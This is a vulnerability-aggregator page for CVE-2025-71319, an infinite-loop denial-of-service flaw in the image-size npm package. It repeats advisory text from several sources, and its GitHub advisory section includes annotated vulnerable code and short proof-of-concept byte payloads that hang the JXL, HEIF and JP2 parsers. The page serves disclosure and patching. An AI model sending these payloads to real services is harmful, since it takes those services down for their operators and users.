CVE-2025-71319
image-size 2.0.2 Denial of Service via Infinite Loop in JXL/HEIF Parser
image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
8.7
image-size 2.0.2 Denial of Service via Infinite Loop in JXL/HEIF Parser
image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.
- Record
CVE-2025-71319- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-835, CWE-835
- Updated
- 2026-11-02
EUVDEUVD-2025-210087
8.7
image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.
- Record
EUVD-2025-210087- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-m5qc-5hw7-8vg7
8.7
image-size Denial of Service via Infinite Loop during Image Processing
Summary
image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.
The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.
Details
If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:
// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
const byte = input[0]
if (byte in firstBytes) {
const type = firstBytes[byte]
if (type && typeHandlers[type].validate(input)) {
return type
}
}
const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
return keys.find(finder)
}
Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.
JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
validate: (input: Uint8Array): boolean => {
const boxType = toUTF8String(input, 4, 8)
if (boxType !== 'JXL ') return false //<---
const ftypBox = findBox(input, 'ftyp', 0) //<---
if (!ftypBox) return false
const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
return brand === 'jxl '
},
findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
input[offset] * 2 ** 24 + // 0 +
input[offset + 1] * 2 ** 16 + // 0 +
input[offset + 2] * 2 ** 8 + // 0 +
input[offset + 3] // 0
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) { // offset: 0
if (input.length - offset < 4) return
const boxSize = readUInt32BE(input, offset) // 0
if (input.length - offset < boxSize) return // (8 - 0) < 0 => false
return {
name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '
offset, // 0
size: boxSize, // 0
}
}
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
while (offset < input.length) { // 0 < 8 => false
const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }
if (!box) break // false
if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false
offset += box.size // offset += 0
}
}
A similar issue occurs for HEIF and JP2 handlers:
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts
PoC
Usage:
node main.js poc1|poc2
- poc for
[email protected]
// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "…
- Record
GHSA-m5qc-5hw7-8vg7- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770, CWE-835
- Updated
- 2026-11-02
NVD
8.7
image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.
- Record
CVE-2025-71319- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-835
- Updated
- 2026-11-02
OSV
8.7
image-size 2.0.2 Denial of Service via Infinite Loop in JXL/HEIF Parser
image-size through 2.0.2 contains a denial of service vulnerability that allows remote attackers to permanently block the Node.js event loop by supplying a specially crafted image buffer with a zero-valued size field in a recognized box-type. Attackers can trigger an infinite loop in the JXL or HEIF image parsers by providing a crafted image containing a box with a size of zero, causing the offset to never advance and permanently hanging the application.
- Record
CVE-2025-71319- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - Weakness
- CWE-835
- Updated
- 2026-11-02
OSVGHSA-m5qc-5hw7-8vg7
8.7
image-size Denial of Service via Infinite Loop during Image Processing
Summary
image-size is vulnerable to a Denial of Service vulnerability when processing specially crafted images.
The issue occurs because of an infine loop in findBox when processing certain images with a box with size 0.
Details
If the first bytes of the input does not match any bytes in firstBytes, then the package tries to validate the image using other handlers:
// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31
export function detector(input: Uint8Array): imageType | undefined {
const byte = input[0]
if (byte in firstBytes) {
const type = firstBytes[byte]
if (type && typeHandlers[type].validate(input)) {
return type
}
}
const finder = (key: imageType) => typeHandlers[key].validate(input) //<--
return keys.find(finder)
}
Some handlers that call findBox to validate or calculate the image size are jxl, heif and jp2.
JXL handler calls findBox inside validate. To reach the findBox call, the value at position 4:8 should be 'JXL '
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60
export const JXL: IImage = {
validate: (input: Uint8Array): boolean => {
const boxType = toUTF8String(input, 4, 8)
if (boxType !== 'JXL ') return false //<---
const ftypBox = findBox(input, 'ftyp', 0) //<---
if (!ftypBox) return false
const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)
return brand === 'jxl '
},
findBox can lead to an infinite loop because the value of box.size is 0, thus the offset variable is not updated. Below relevant code with comments (using one of the PAYLOAD below as example):
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37
export const readUInt32BE = (input: Uint8Array, offset = 0) =>
input[offset] * 2 ** 24 + // 0 +
input[offset + 1] * 2 ** 16 + // 0 +
input[offset + 2] * 2 ** 8 + // 0 +
input[offset + 3] // 0
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75
function readBox(input: Uint8Array, offset: number) { // offset: 0
if (input.length - offset < 4) return
const boxSize = readUInt32BE(input, offset) // 0
if (input.length - offset < boxSize) return // (8 - 0) < 0 => false
return {
name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '
offset, // 0
size: boxSize, // 0
}
}
// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84
export function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0
while (offset < input.length) { // 0 < 8 => false
const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }
if (!box) break // false
if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false
offset += box.size // offset += 0
}
}
A similar issue occurs for HEIF and JP2 handlers:
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts
- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts
PoC
Usage:
node main.js poc1|poc2
- poc for
[email protected]
// mkdir 2.0.1
// cd 2.0.1/
// npm i [email protected]
const {imageSizeFromFile} = require("image-size/fromFile");
const {imageSize} = require("image-size");
const fs = require('fs');
// JXL
const PAYLOAD = new Uint8Array([
0x00, 0x00, 0x00, 0x00, // Box with size 0
0x4A, 0x58, 0x4C, 0x20, // "JXL "
]);
// HEIF
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x66, 0x74, 0x79, 0x70, // "ftyp"
// 0x61, 0x76, 0x69, 0x66 // "avif"
// ]);
// JP2
// const PAYLOAD = new Uint8Array([
// 0x00, 0x00, 0x00, 0x00, // Box with size 0
// 0x6A, 0x50, 0x20, 0x20, // "jP "…
- Record
GHSA-m5qc-5hw7-8vg7- CVSS 4.0
- 8.7 High
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-770, CWE-835
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2025-71319 No score
CVE-2025-71319 in image-size - Patched by Root
Root has patched CVE-2025-71319 in the image-size package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2025-71319- Updated
- 2026-11-02
Affected products
- image-size
- red hat gatekeeper 3
- red hat build of podman desktop
- red hat discovery 2
- red hat enterprise linux 7
- red hat enterprise linux 8
- red hat fuse 7
- red hat jboss enterprise application platform 7
- red hat jboss enterprise application platform 8
- red hat jboss enterprise application platform expansion pack
- red hat openshift ai (rhoai)
- red hat openshift dev spaces
Affected packages
| Package | Affected | Fixed |
|---|---|---|
image-sizenpm |
1.1.0 up to 1.2.1 | 1.2.1 |
image-sizenpm |
2.0.0 up to 2.0.2 | 2.0.2 |
image-sizeRoot:npm |
before 1.2.1-aikido.2 | 1.2.1-aikido.22.0.2-aikido.11.2.1-aikido.1 |
@rootio/image-sizeRoot:npm |
before 1.2.1-root.io.2 | 1.2.1-root.io.22.0.2-root.io.11.2.1-root.io.1 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2025-71319 is a high vulnerability (CVSS 8.7) in Image-size, published April 2, 2025. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.73%, the 54th percentile. Fixed in image-size 1.2.1.
References
joshua.hu/image-size-infinite-loop-dos-vulnerabilities
web.archive.org/web/20260224152152/https://github.com/image-size/image-size/pull/439
vulncheck.com/advisories/image-size-denial-of-service-via-infinite-loop-in-jxl-heif-parser
access.redhat.com/security/cve/CVE-2025-71319
bugzilla.redhat.com/show_bug.cgi?id=2487296
security.access.redhat.com/data/csaf/v2/vex/2025/cve-2025-71319.json
Show 8 moreShow less
access.redhat.com/errata/RHSA-2026:33313
access.redhat.com/errata/RHSA-2026:37272
github.com/image-size/image-size/security/advisories/GHSA-m5qc-5hw7-8vg7
github.com/image-size/image-size/commit/8994131c7c3ee8da1699e04700c95e0e683a0c68
nvd.nist.gov/vuln/detail/CVE-2025-71319
github.com/advisories/GHSA-m5qc-5hw7-8vg7
github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71319.json
github.com/image-size/image-size
Left out here: the rest of 2 source descriptions. The JSON record has them.